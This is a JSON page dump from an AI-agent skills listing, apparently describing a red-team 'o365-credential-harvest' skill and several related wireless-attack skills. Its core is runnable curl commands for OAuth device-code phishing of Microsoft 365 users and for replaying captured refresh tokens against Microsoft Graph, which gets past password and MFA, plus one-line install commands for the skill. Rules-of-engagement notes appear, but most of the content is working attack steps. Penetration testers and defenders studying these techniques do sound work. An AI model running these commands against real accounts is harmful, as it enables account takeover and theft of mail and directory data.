[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EJFYY1TMNPFWH4F4P7FR2T":3,"skill-same:01M7EJFYY1TMNPFWH4F4P7FR2T":58},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":37,"commitSha":38,"skillDirectory":39,"forksCount":40,"repositoryHtmlUrl":41,"repositoryHomepageUrl":6,"ownerHtmlUrl":42,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":43,"install":44,"resources":57},"01M7EJFYY1TMNPFWH4F4P7FR2T","o365-credential-harvest",null,"Harvest and replay O365 \u002F Entra ID access via the OAuth device-code flow and captured tokens (TokenTactics-style), skipping the password + MFA prompts.","a18268941610-crypto\u002FDecepticon-shentou","a18268941610-crypto","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F241464571?v=4","01M7EHA2V2KTCYTX78QJKXCZ8Y","fubai","01M7EHA2VKDD5RCWJJKC0ZA101",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fphisher\u002Fo365-credential-harvest\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: o365-credential-harvest\ndescription: >\n  Harvest and replay O365 \u002F Entra ID access via the OAuth device-code flow and\n  captured tokens (TokenTactics-style), skipping the password + MFA prompts.\nmetadata:\n  subdomain: phishing\n  when_to_use: \"o365 phishing, entra id, oauth device code, token replay, tokentactics, microsoft 365 credential harvest, illicit consent\"\n  mitre_attack:\n    - T1566.002\n    - T1528\n    - T1550.001\n    - T1621\n  tags:\n    - phishing\n    - o365\n    - oauth\n    - token-replay\n---\n\n# O365 \u002F Entra Credential & Token Harvest\n\nTwo Microsoft-identity initial-access paths that avoid a fake password\npage: the **device-code** flow and **token replay**. Both are favored\nbecause the victim authenticates on the genuine Microsoft endpoint.\n\n## Device-code flow\n\nThe attacker requests a device code; the victim is social-engineered\nto enter it at the real `microsoft.com\u002Fdevicelogin`. After they\ncomplete sign-in (MFA included), the attacker polls and receives\naccess + refresh tokens.\n\n```bash\nTENANT=common\nCLIENT=d3590ed6-52b3-4102-aeff-aad2292ab01c   # Office client id (example)\n# 1. request a device code\ncurl -s https:\u002F\u002Flogin.microsoftonline.com\u002F$TENANT\u002Foauth2\u002Fv2.0\u002Fdevicecode \\\n  -d \"client_id=$CLIENT&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default offline_access\" | tee dc.json\n# -> user_code + verification_uri go into the lure (\"enter this code at ...\")\n# 2. poll for the token after the victim signs in\nDC=$(jq -r .device_code dc.json)\ncurl -s https:\u002F\u002Flogin.microsoftonline.com\u002F$TENANT\u002Foauth2\u002Fv2.0\u002Ftoken \\\n  -d \"grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=$CLIENT&device_code=$DC\"\n```\n\n## Token replay (TokenTactics pattern)\n\nA refresh token captured here (or via `evilginx2-proxy`) is exchanged\nfor access tokens against Graph, Outlook, SharePoint, Teams — each a\ndistinct resource scope — without re-auth.\n\n```bash\nRT=\u003Ccaptured-refresh-token>\ncurl -s https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken \\\n  -d \"grant_type=refresh_token&client_id=$CLIENT&refresh_token=$RT&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default\"\n# use the returned access_token: Authorization: Bearer \u003Ctoken> against graph.microsoft.com\n```\n\n## Validate\n\nA token is interesting; a Graph call returning the victim's mailbox \u002F\ndirectory data is the finding:\n`curl -s -H \"Authorization: Bearer $AT\" https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme`.\n\n## Evidence\n\nTokens → `Credential` nodes (type `oauth-token`, with scope + expiry)\nlinked to the `User` node. Store ONLY under `evidence\u002Fphisher\u002F` + the\nknowledge graph.\n\n## RoE \u002F OPSEC\n\n- Device-code lures still require the `lure-deconfliction` handshake.\n- Refresh tokens are long-lived — record the expiry and treat them as\n  the most sensitive artifact in the engagement.\n- NEVER read more mailbox\u002FGraph data than the objective requires;\n  abide by `plan\u002Froe.json:data_handling`.\n","# O365 \u002F Entra Credential & Token Harvest\n\nTwo Microsoft-identity initial-access paths that avoid a fake password\npage: the **device-code** flow and **token replay**. Both are favored\nbecause the victim authenticates on the genuine Microsoft endpoint.\n\n## Device-code flow\n\nThe attacker requests a device code; the victim is social-engineered\nto enter it at the real `microsoft.com\u002Fdevicelogin`. After they\ncomplete sign-in (MFA included), the attacker polls and receives\naccess + refresh tokens.\n\n```bash\nTENANT=common\nCLIENT=d3590ed6-52b3-4102-aeff-aad2292ab01c   # Office client id (example)\n# 1. request a device code\ncurl -s https:\u002F\u002Flogin.microsoftonline.com\u002F$TENANT\u002Foauth2\u002Fv2.0\u002Fdevicecode \\\n  -d \"client_id=$CLIENT&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default offline_access\" | tee dc.json\n# -> user_code + verification_uri go into the lure (\"enter this code at ...\")\n# 2. poll for the token after the victim signs in\nDC=$(jq -r .device_code dc.json)\ncurl -s https:\u002F\u002Flogin.microsoftonline.com\u002F$TENANT\u002Foauth2\u002Fv2.0\u002Ftoken \\\n  -d \"grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=$CLIENT&device_code=$DC\"\n```\n\n## Token replay (TokenTactics pattern)\n\nA refresh token captured here (or via `evilginx2-proxy`) is exchanged\nfor access tokens against Graph, Outlook, SharePoint, Teams — each a\ndistinct resource scope — without re-auth.\n\n```bash\nRT=\u003Ccaptured-refresh-token>\ncurl -s https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken \\\n  -d \"grant_type=refresh_token&client_id=$CLIENT&refresh_token=$RT&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default\"\n# use the returned access_token: Authorization: Bearer \u003Ctoken> against graph.microsoft.com\n```\n\n## Validate\n\nA token is interesting; a Graph call returning the victim's mailbox \u002F\ndirectory data is the finding:\n`curl -s -H \"Authorization: Bearer $AT\" https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme`.\n\n## Evidence\n\nTokens → `Credential` nodes (type `oauth-token`, with scope + expiry)\nlinked to the `User` node. Store ONLY under `evidence\u002Fphisher\u002F` + the\nknowledge graph.\n\n## RoE \u002F OPSEC\n\n- Device-code lures still require the `lure-deconfliction` handshake.\n- Refresh tokens are long-lived — record the expiry and treat them as\n  the most sensitive artifact in the engagement.\n- NEVER read more mailbox\u002FGraph data than the objective requires;\n  abide by `plan\u002Froe.json:data_handling`.\n",{"name":5,"metadata":24,"description":36},{"tags":25,"subdomain":26,"when_to_use":30,"mitre_attack":31},[26,27,28,29],"phishing","o365","oauth","token-replay","o365 phishing, entra id, oauth device code, token replay, tokentactics, microsoft 365 credential harvest, illicit consent",[32,33,34,35],"T1566.002","T1528","T1550.001","T1621","Harvest and replay O365 \u002F Entra ID access via the OAuth device-code flow and captured tokens (TokenTactics-style), skipping the password + MFA prompts.\n","main","d6bfd87ad9f910cfff715da04c804638990a8538","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fphisher\u002Fo365-credential-harvest",1,"https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto","2026-10-12 03:35:17",{"source":8,"skillName":5,"commands":45,"prompt":55,"zipAvailable":56},[46,49,52],{"tool":47,"command":48},"npx","npx skills add a18268941610-crypto\u002FDecepticon-shentou --skill o365-credential-harvest",{"tool":50,"command":51},"bunx","bunx skills add a18268941610-crypto\u002FDecepticon-shentou --skill o365-credential-harvest",{"tool":53,"command":54},"pnpm","pnpm dlx skills add a18268941610-crypto\u002FDecepticon-shentou --skill o365-credential-harvest","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fphisher\u002Fo365-credential-harvest\u002FSKILL.md",true,[],[59,66,73,80,87,94],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M7EJXTEFYQPHY32431RWJENT","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M7EJXHKBXYF3QSYNW5YSK10H","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M7EJXAC5W1C1MACKKP1RRT8K","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M7EJX02A5FFBM2V7VG52GNSK","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M7EJWNRRMBRZQTKH3VFYAK58","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":19},"01M7EJWB0CC58R8Z4HW6YRQCZW","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]